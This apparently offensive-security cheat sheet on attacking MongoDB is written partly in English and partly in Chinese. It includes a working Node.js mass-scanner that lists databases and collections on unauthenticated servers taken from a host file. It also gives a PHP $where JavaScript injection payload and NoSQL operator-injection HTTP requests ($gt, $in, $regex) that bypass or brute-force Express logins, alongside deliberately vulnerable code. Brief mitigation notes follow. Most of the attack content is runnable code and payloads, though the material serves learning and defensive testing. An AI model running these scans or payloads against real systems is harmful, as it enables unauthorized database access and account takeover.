Attacking MongoDB

1. MongoDB unauthorized access vulnerability

Leaks MongoDB information

Because the MongoDB runned without the option --auth.
And the revealable information may cause a series of other security problem.

Payload:

var file = "data",  
    lineReader = require("line-reader"),
    mongoose = require(''mongoose'');

function conn (host, cb){  
    var url = ''mongodb://'' + host,
        options = { server: { socketOptions: { connectTimeoutMS: 4000 }}},
        connection = mongoose.createConnection(url, options);
        Admin = mongoose.mongo.Admin;
    connection.on(''error'', function(err) {
        if (err) throw new Error(err);
    });
    connection.on(''open'',function(){
        new Admin(connection.db).listDatabases(function (err, res) {
            if (err) throw new Error(err);
            res.databases.map(function (db) {
                console.log(''[*] Database %s %s'', db.name, db.sizeOnDisk);
                var db = mongoose.createConnection(url + ''/'' + db.name, options);
                db.on(''open'', function () {
                    db.db.collectionNames(function (err, res) {
                        if (err) throw new Error(err);
                        res.map(function (collection) {
                            console.log(''[+] Collection %s'', collection.name);
                        });
                        console.log();
                        db.close();
                        connection.close();
                    })
                })
            })
        })
        cb(host);
    });
}
lineReader.eachLine(file, function(line) {  
    if (String(line)) {
        conn(line, function(host){
            console.log("Detected: " + host);
        });
    }
}).then(function () {
    console.log(''[*] Read Done'');
});

1.1 Mitigation

  1. Run mongo with auth flag
  2. Change Mongo part (default: 27017)
  3. Start the firewall only allow the white-list ip to connect(something like iptables).

Ref:
MongoDB Security Part One - Tinple

2. PHP & MongoDB

Vulnerable Code:

<?php  
    $m = new MongoClient("mongodb://127.0.0.1:27017");
    $m->selectDB(''foo'');
    $collection = $m->selectCollection(''test'', ''phpmanual'');

    if ($_GET["age"] != "") {
        $js = ''function(){if(this.name == "Joe"||this.age==''.$_GET["age"].'')return true;}'';
        $cursor = $collection->find(array(''$where'' => $js));
        foreach($cursor as $doc) {
            var_dump($doc);
        }
    }
?>

Payload:
When age is 8||true, $doc will be dumped.

Ref:
You have no SQL inj--... sorry, NoSQL injection... | Rapid7 Community and Blog

3. NodeJS & MongoDB

3.1 Authentication Attack 1

Code Snippet for authentication

app.post(''/'', function (req, res) {  
        db.users.find({username: req.body.username, password: req.body.password}, function (err, users) {
            // TODO: handle the rest
        });
});

Payload 1:

假如App接受json

POST http://target/ HTTP/1.1  
Content-Type: application/json

{
    "username": {"$gt": ""},
    "password": {"$gt": ""}
}

Payload 2:

假如App不接受json, 而是一个普通的form: application/x-www-form-urlencoded

POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

username[$gt]=&password[$gt]=  

The string username[$gt]= is a special syntax used by the qs module (default in ExpressJS and the body-parser middleware).

This syntax is the equivalent of making an JavaScript object/hash with a single parameter called $gt mapped to no value.

{
    "username": {"$gt": undefined},
    "password": {"$gt": undefined}
}

3.2 Authentication Attack 2

app.post(''/'', function(req, res) {  
    User.findOne({user: req.body.user}, function (err, user) {
        if (err) {
            return res.render(''index'', {message: err.message});
        }

        // ---

        if (!user) {
            return res.render(''index'', {message: ''Sorry!''});
        }

        // ---

        if (user.hash != sha1(req.body.pass)) {
            return res.render(''index'', {message: ''Sorry!''});
        }

        // ---

        return res.render(''index'', {message: ''Welcome back '' + user.name + ''!!!''});
    });
});

这一次上面提及的payload再也不适用了.

  1. 单username field被用于query
  2. password是当username匹配之后, 再对比其hash值.

不过, username field依旧是可inject得.

思路

Use a single common password and try it on many accounts

POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

user[$in][]=admin&user[$in][]=user&pass=abc123  

{user: {"$in": ["admin", "user"]}}将被用于query.

<!-- Payload --->  
POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

user[$regex]=ab&pass=abc123

<!-- Payload --->  
POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

user[$regex]=ba&pass=abc123

<!-- Payload --->  
POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

user[$regex]=cd&pass=abc123

<!-- Payload --->  
POST http://target/ HTTP/1.1  
Content-Type: application/x-www-form-urlencoded

user[$regex]=dc.e&pass=abc123  

3.3 Defence

  1. Get rid of the qs module
  2. using hashes instead of passwords is a good thing but using per-account hash salts is better
  3. always validate the user input
  4. Defending Against Query Selector Injection Attacks - DZone Java

4. LEARNING BY EXAMPLE

To-Do

1 2 3

Tinple/mongo-attack-example: Three vulnerable mongo web application examples.

http://2012.zeronights.org/includes/docs/Firstov%20-%20Attacking%20MongoDB.pdf

5. Tool

NoSQLMap-Automated NoSQL Database Pwnage - Home

Reference